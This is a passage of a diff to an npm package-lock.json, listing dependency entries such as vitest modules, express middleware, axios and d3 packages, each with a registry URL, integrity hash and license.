"sha512-VX2x5vNJXET47KAFzwERI+KRMtTTCSWTfSMKsW7JsUsXV4psq++e3DvZpuTDOpHcxytiDs6p2nhVb2tVDiiUYw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "@types/chai": "^5.2.2", + "@vitest/spy": "4.1.11", + "@vitest/utils": "4.1.11", + "chai": "^6.2.2", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.11.tgz", + "integrity": "sha512-2XJVD55d1o5AZous5CCGKS74g/riOj9odEt2bQpCVZeblHyHdnMeFl4jl0XjU21stf4mbjUkew2eXQZt65g5CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.11", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.21" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", + "integrity": "sha512-yiZzPbGTS9Sr/JpFl8zHrcIkAofNbFV6k21vIgQN/cY/oxZeXhJv5sc/MBJ5jFKWmWs+oJHw0UXLZjmf931+Vw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", + "integrity": "sha512-LztvUgdwMNJMIkj3hQnnxiC2Xy1zNxq928W/xhjCLaNCzqTZOudjwbQf6v9IntZGPw132i2Lq2rgTRZHD3JHNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.11", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", + "integrity": "sha512-pN7ikn1ON7h8ee4gIAp4AzyK+zBtJPzVbqOgu5LCEh4VaJVbPQcgYQYJIMGQPXVeJJq1fnfazis7a5pFNPahog==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.11", + "@vitest/utils": "4.1.11", + "magic-string": "^0.30.21", + "pathe": "^2.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/spy": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.11.tgz", + "integrity": "sha512-apNa/prQy2qCeywhnixOHPRCgGNhvg7T4Dapfl1GahLp/R+uhBm5cPyFoNVyqsNd2h1nJxL6BqqdIjiABL60YA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", + "integrity": "sha512-zTCVGpyFsGWBhllOyKlTw/vnr6D9qxsfSDyfbyZmTyjHw5N/VuvzHpHoQjm2ZJzn4RJgx5w4r7V0er69CmLgPQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.11", + "convert-source-map": "^2.0.0", + "tinyrainbow": "^3.1.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/async-exit-hook": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", + "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/atomic-sleep": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", + "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/aws-ssl-profiles": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/aws-ssl-profiles/-/aws-ssl-profiles-1.1.2.tgz", + "integrity": "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/axios": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", + "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.16.0", + "form-data": "^4.0.5", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/base32.js": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/base32.js/-/base32.js-0.1.0.tgz", + "integrity": "sha512-n3TkB02ixgBOhTvANakDb4xaMXnYUVkNoRFJjQflcqMQhyEKxEHdj3E6N8t8sUQ0mjH/3/JxzlXuz3ul/J90pQ==", + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bcryptjs": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-3.0.3.tgz", + "integrity": "sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g==", + "license": "BSD-3-Clause", + "bin": { + "bcrypt": "bin/bcrypt" + } + }, + "node_modules/better-result": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/better-result/-/better-result-2.10.0.tgz", + "integrity": "sha512-oQhh0y1qo2/ZKdAAEvHZAqKKiHOFU5k/bW96fE2ScgQOVkJRiHwB+nOS1SgFsYqRlxMDWvefXi9Q3px7QvgNDw==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/bignumber.js": { + "version": "11.1.5", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-11.1.5.tgz", + "integrity": "sha512-6WmzCNtUnfKpbozq+hOgWaZMMzORmYBwF1xZScyoIX3QRYWeKTtxxwDOW5tIz7C9BdjkIYHGTcelCLkXg0mndw==", + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", + "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^2.0.0", + "debug": "^4.4.3", + "http-errors": "^2.0.1", + "iconv-lite": "^0.7.2", + "on-finished": "^2.4.1", + "qs": "^6.15.2", + "raw-body": "^3.0.2", + "type-is": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/body-parser/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause" + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/c12": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/c12/-/c12-3.3.4.tgz", + "integrity": "sha512-cM0ApFQSBXuourJejzwv/AuPRvAxordTyParRVcHjjtXirtkzM0uK2L9TTn9s0cXZbG7E55jCivRQzoxYmRAlA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "chokidar": "^5.0.0", + "confbox": "^0.2.4", + "defu": "^6.1.6", + "dotenv": "^17.3.1", + "exsolve": "^1.0.8", + "giget": "^3.2.0", + "jiti": "^2.6.1", + "ohash": "^2.0.11", + "pathe": "^2.0.3", + "perfect-debounce": "^2.1.0", + "pkg-types": "^2.3.0", + "rc9": "^3.0.1" + }, + "peerDependencies": { + "magicast": "*" + }, + "peerDependenciesMeta": { + "magicast": { + "optional": true + } + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/chokidar": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", + "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "readdirp": "^5.0.0" + }, + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/classnames": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "14.0.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", + "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/component-emitter": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.1.tgz", + "integrity": "sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/confbox": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", + "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/content-disposition": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", + "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-parser": { + "version": "1.4.7", + "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.7.tgz", + "integrity": "sha512-nGUvgXnotP3BsjiLX2ypbQnWoGUPIIfHQNZkkC668ntrzGWEZVW70HDEB1qnNGMicPje6EttlIgzo51YSwNQGw==", + "license": "MIT", + "dependencies": { + "cookie": "0.7.2", + "cookie-signature": "1.0.6" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/cookie-parser/node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "license": "MIT" + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cookiejar": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz", + "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==", + "dev": true, + "license": "MIT" + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", + "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "devOptional": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "license": "MIT" + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/deepmerge-ts": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-8.0.2.tgz", + "integrity": "sha512-uqbvqLUMrc6p0MO+WBRtTxY55hmyh94WRwI5a++PZe54X+bfVh59FSN7uWCBCW1CCVjzjnrwzfI8zidE2obMMw==", + "devOptional": true, + "funding": [ + { + "type": "ko-fi", + "url": "https://ko-fi.com/rebeccastevens" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/deepmerge-ts" + } + ], + "license": "BSD-3-Clause", + "engines": { + "node": ">=16.9.0" + } + }, + "node_modules/defu": { + "version": "6.1.7", + "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.7.tgz", + "integrity": "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/delaunator": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.1.0.tgz", + "integrity": "sha512-AGrQ4QSgssa1NGmWmLPqN5NY2KajF5MqxetNEO+o0n3ZwZZeTmt7bBnvzHWrmkZFxGgr4HdyFgelzgi06otLuQ==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "robust-predicates": "^3.0.2" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": 